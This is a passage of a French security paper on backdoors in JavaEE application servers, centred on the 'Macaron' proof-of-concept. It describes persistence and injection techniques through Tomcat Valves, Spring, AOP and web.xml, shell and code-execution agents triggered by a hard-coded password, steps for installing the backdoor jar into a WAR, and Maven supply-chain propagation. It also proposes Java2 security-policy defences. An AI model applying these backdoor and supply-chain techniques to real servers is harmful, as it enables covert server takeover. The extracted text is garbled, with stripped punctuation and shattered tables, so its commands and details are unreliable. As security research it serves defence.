Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
